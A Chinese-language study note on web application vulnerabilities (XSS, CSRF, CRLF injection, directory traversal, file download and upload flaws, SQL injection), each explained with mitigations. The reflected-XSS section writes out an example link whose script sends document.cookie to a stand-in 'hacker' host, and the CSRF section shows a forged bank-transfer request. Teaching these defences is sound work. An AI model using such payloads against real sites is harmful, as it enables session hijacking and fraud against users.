Web应用安全相关
跨站脚本 XSS 漏洞
XSS简介
跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
XSS分类
反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
首先攻击者寻找一个正常但是有漏洞的网站,例如网站有一个搜索框,点击搜索后会直接将搜索的内容输出(回显)到网页上(类似那种会显示搜索“xxx”的结果如下)。
而网站并没有对搜索的内容进行校验使得搜索内容可以带有js脚本,这时就可以制作攻击链接,比如 http://weibo.com/search.htm?search=var+img=new+Image();img.src=”http://hacker/”%20+%20document.cookie;,这样用户点击后虽然正常跳到了search页面,但是js脚本内容被输出到了网页上执行了,成功借助img的src将用户cookie通过http请求发送到了攻击者的网站
因为攻击链接的域名是用户正常使用的网站,大部分用户认得url的这一部分后就关心后面的内容也看不懂,所以是有机会被点击的
存储型XSS:<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞
解决方案
- 对参数做 html 转义过滤,要过滤的字符包括:单引号、双引号、<、>,& 符号,防止脚本执行。
- 在变量输出时进行 HTML ENCODE 处理。(例如php echo时)
CSRF跨站点请求伪造漏洞
CSRF攻击攻击原理及过程如下:
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
- 浏览器在接收到这些攻击性代码后,根据网站 B 的请求,在用户不知情的情况下携带 Cookie 信息,向网站 A 发出请求。网站 A 并不知道该请求其实是由 B 发起的,所以会根据用户 C 的 Cookie 信息以 C 的权限处理该请求,导致来自网站 B 的恶意代码被执行。
CSRF攻击实例
受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。
黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。
这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息(解释:Cookie 是跟着创建的时候的设置的 domain 走的啊,假设 domain 是 A,你即使在 B 里面嵌入 A 的地址,访问这个地址仍然会携带 Cookie ,所以浏览器才推出了 SameSite 属性来避免这个问题,设置 SameSite 属性就可以限制 Cookie 使用时的地址了) 。
这时悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。
解决方案
-
验证HTTP Referer字段
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址(构造请求的网站),通过检验Referer是否是自己网站的请求来防止CSRF。漏洞:在老版的浏览器如IE6可以设置Referer
-
在请求地址中添加 token 并验证
CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。
该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。
-
在 HTTP 头中自定义属性并验证(目前唯一用过的方法,但是token存放在cookie中还是有风险)
通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。
HTTP Header 注入漏洞(CRLF注入)
攻击原理
- CR:对应ASCII中转义字符\r,即回车(%0d)
- LF:对应ASCII中转义字符\n,即换行(%0a)
- CRLF:\r\n,即回车并换行
- 漏洞主要原理是由于HTTP Header与 Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来
Web 程序代码中把用户提交的参数未做过滤就直接输出到 HTTP 响应头中,导致攻击者可以利用该漏洞来注入到 HTTP 响应头中实现攻击。(按这种说法是一种XSS攻击)
解决方案:
- 对参数做合法性校验以及长度限制,谨慎的根据用户所传入参数做 HTTP 响应的 Header 设置。
- 在设置 HTTP 响应头时,过滤回车换行
%0d%0a、%0D%0A
字符。
目录遍历漏洞
漏洞描述
目录遍历是由于 Web 服务器或 Web 应用程序对用户输入文件名称的安全性验证不足而导致的一种安全漏洞,使得攻击者通过 HTTP 请求和利用一些特殊字符就可以绕过服务器的安全限制,访问任意受限的文件(可以是 Web 根目录以外的文件),甚至执行系统命令。
程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。
解决方案
- 严格检查文件路径参数,限制在指定的范围。
- 严格限制文件路径参数,不允许用户控制文件路径相关的参数,限定文件路径范围。
文件下载漏洞
漏洞描述
Web 应用程序在处理文件下载时,接受用户指定的路径和文件名进行下载,攻击者利用此漏洞来下载服务器的其它文件甚至任意文件(源代码、数据库甚至 passwd 等)。
解决方案
- 限制可下载文件所在的目录为预期范围。
- 通过指定文件编号的方式来定位待下载文件。
文件上传漏洞
漏洞描述
文件上传的 Web 程序未对文件类型和格式做合法性校验,导致攻击者可以上传 Webshell 或者非期望格式的文件。
解决方案
- 对上传文件的大小和类型进行校验,定义上传文件类型白名单。
- 保存上传文件的目录不提供直接访问。
SQL 注入漏洞
漏洞描述
SQL 注入攻击(SQL Injection),被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。 在设计不良的程序当中,忽略了对输入字符串中夹带的 SQL 指令的检查,那么这些夹带进去的指令就会被数据库误认为是正常的 SQL 指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
解决方案
- 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。
- 对进入数据库的特殊字符
'"\<>&*;
等进行转义处理,或编码转换。 - 确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。
- 数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
- 网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
- 严格限制网站所用数据库账号的权限,给此用户仅提供能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
- 避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。